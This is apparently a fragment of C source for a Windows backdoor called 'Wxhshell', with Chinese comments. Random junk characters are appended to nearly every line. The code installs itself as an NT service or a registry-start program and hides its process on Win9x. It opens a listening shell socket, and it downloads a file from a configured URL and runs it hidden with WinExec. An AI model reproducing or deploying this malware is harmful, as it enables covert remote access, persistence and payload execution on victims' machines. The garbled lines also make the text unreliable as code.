ULONG UniqueProcessId; ?FjnG_Uz`D
ULONG InheritedFromUniqueProcessId; Wz"H.hf
} PROCESS_BASIC_INFORMATION; Kop(+]Q&n
h3&|yS|
PROCNTQSIP NtQueryInformationProcess; XPD1HN!,LT
_H@ATut
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z<^!N)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,W|-?b?
02trjp.f
HANDLE hProcess; B>m*!n:l
PROCESS_BASIC_INFORMATION pbi; OXbShA&1
5E"^>z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M?L$xE_&
if(NULL == hInst ) return 0; k.K#i /t
P\<:.8@$S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I[v`)T'_{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pMy:h
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "y&`,s5}
.UNV &R0
if (!NtQueryInformationProcess) return 0; !U>WAD9
3l41"5Fy&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GGr82)E
if(!hProcess) return 0; 2 \}J*0
%lWOW2~R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m&gB;g3:
k4dC
CloseHandle(hProcess); S\<i`q
Ez0zk9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KXK5\#+L
if(hProcess==NULL) return 0; dpscgW{M
5Gy#$'kdf
HMODULE hMod; "t(_r@qU/
char procName[255]; f$:SacF
unsigned long cbNeeded; r{9fm,
X!^|Tass
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9J?s:"j
-~lq <M
CloseHandle(hProcess); xk%
62W
25-h5$s
if(strstr(procName,"services")) return 1; // 以服务启动 gCC7L(1
t(-,mw
return 0; // 注册表启动 zU+q03l8Ur
} 0
}od Q#
QAp]cE1ew
// 主模块 0]iaNR
%
int StartWxhshell(LPSTR lpCmdLine) #Gg^QJ*
{ BLO ]78
SOCKET wsl; ?z&%VU"
BOOL val=TRUE; 7[1|(6$
int port=0; iW>^'W#
struct sockaddr_in door; ""a$[[ %WC
OQB7C0+ &
if(wscfg.ws_autoins) Install(); HNv~ZAzBG-
Cd"{7<OyM4
port=atoi(lpCmdLine); wN4#j}C
qJrKt=CE
if(port<=0) port=wscfg.ws_port; $=N?[h&4
/B~[,ES@1
WSADATA data; J:glJ'4E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,r;xH}tbi
6{HCF-cQd
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; oq+w2yR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3cL
iZ%6^
door.sin_family = AF_INET; adX"Yg!`{c
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?`rAO#1
door.sin_port = htons(port); VDbbA\
v#/Gxk9eX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @|c])
closesocket(wsl); QR'# ]k;>%
return 1; p\ ;|Z+0=
} M\5|
qE8aX*A1/
if(listen(wsl,2) == INVALID_SOCKET) { #xw*;hW<
closesocket(wsl); U>f'j;5
return 1; ($[+dR
} @:9Gs!!
Wxhshell(wsl); Gb\PubJ
WSACleanup(); diY7<u#
R8Vf6]s_
return 0; mA+:)?e5~
()l3X.t,$
} ~BmA!BZV`
ji1vLu4|t
// 以NT服务方式启动 0zB[seyE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "O4A&PJD
{
r9})~>
DWORD status = 0; 5P-t{<]tx
DWORD specificError = 0xfffffff; wqF?o
V)>?[
serviceStatus.dwServiceType = SERVICE_WIN32; X&?s:A
serviceStatus.dwCurrentState = SERVICE_START_PENDING; n%7?G=_kj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lnyfAq}w
serviceStatus.dwWin32ExitCode = 0; Y-a
serviceStatus.dwServiceSpecificExitCode = 0; <SI|)M,, 3
serviceStatus.dwCheckPoint = 0; V+O,y9
serviceStatus.dwWaitHint = 0; R/ZScOW[
%ERcFI]G
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JN|6+.GG
if (hServiceStatusHandle==0) return; 1d<Uwb>
aY>v
status = GetLastError(); R;c9)>8L
if (status!=NO_ERROR) kygw}|, N
{ g=56|G7n
serviceStatus.dwCurrentState = SERVICE_STOPPED; i#`q<+/q
serviceStatus.dwCheckPoint = 0; LD}~]
serviceStatus.dwWaitHint = 0;
-9i7Ja
serviceStatus.dwWin32ExitCode = status; sE6>JaH
serviceStatus.dwServiceSpecificExitCode = specificError; *c94'T cl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ujX;wGje
return; V^5d5Ao
} VE|l;aXi
_y^r==
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5o dT\>Sn
serviceStatus.dwCheckPoint = 0;
<Kv$3y
serviceStatus.dwWaitHint = 0; 2+
cs^M3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Szgo@x$^
} wwB3m&
Lz'VQO1U=
// 处理NT服务事件,比如:启动、停止 *7jz(iX
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0B]q /G(
{ rm,`M
switch(fdwControl) W8^m-B&
{ zl|z4j'Irc
case SERVICE_CONTROL_STOP: GT&}Burl/n
serviceStatus.dwWin32ExitCode = 0; -SrZ^
serviceStatus.dwCurrentState = SERVICE_STOPPED; %'=*utOxy
serviceStatus.dwCheckPoint = 0; zXn-E
serviceStatus.dwWaitHint = 0; PC#^L$cg}
{ #_wq#rF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2M-[x"\1/
} P9
<U+\z
return; &3[oM)-V
case SERVICE_CONTROL_PAUSE: ^es]jng`
serviceStatus.dwCurrentState = SERVICE_PAUSED; "%gsGtS
break; eyCZ[SC
case SERVICE_CONTROL_CONTINUE: h^yqrDyJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; `GCoi ?n7
break; "tzu.V-
case SERVICE_CONTROL_INTERROGATE: P2-&Im`+
break; {_O!mI*
}; ,_Z(!|
rW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /uwi$~Ed
} _qxI9Q}<"
,twx4r^
// 标准应用程序主函数 esqmj#G
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fz%;_%j
{ e"nm< &
b|d-vnYE
// 获取操作系统版本 52e>f5m.
OsIsNt=GetOsVer(); MEiP&=gX!
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xo34~V@(
|`5IP8Z
// 从命令行安装 ]dpL
PR
if(strpbrk(lpCmdLine,"iI")) Install(); ;Y?MbD
hJ@vlMW
// 下载执行文件 ~|V^IJZ22
if(wscfg.ws_downexe) { faDSyBLo
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L(Y1ey9x
WinExec(wscfg.ws_filenam,SW_HIDE); ai{>rO3 }I
} AG N/kx
i+*!"/De
if(!OsIsNt) { P=QxfX0B
// 如果时win9x,隐藏进程并且设置为注册表启动
9r!8BjA
HideProc(); Yq+1kA
StartWxhshell(lpCmdLine); Y^eN}@]?&
} x#>V50E
else _v,0"_"
if(StartFromService()) h Jb2y`,q
// 以服务方式启动 z%82Vt!a5
StartServiceCtrlDispatcher(DispatchTable); r7m~.M+W"
else CJ IuMsZ
// 普通方式启动 zw/AZLS
StartWxhshell(lpCmdLine); zR" cj
ZSC*{dD$E
return 0; :!%V Sem
}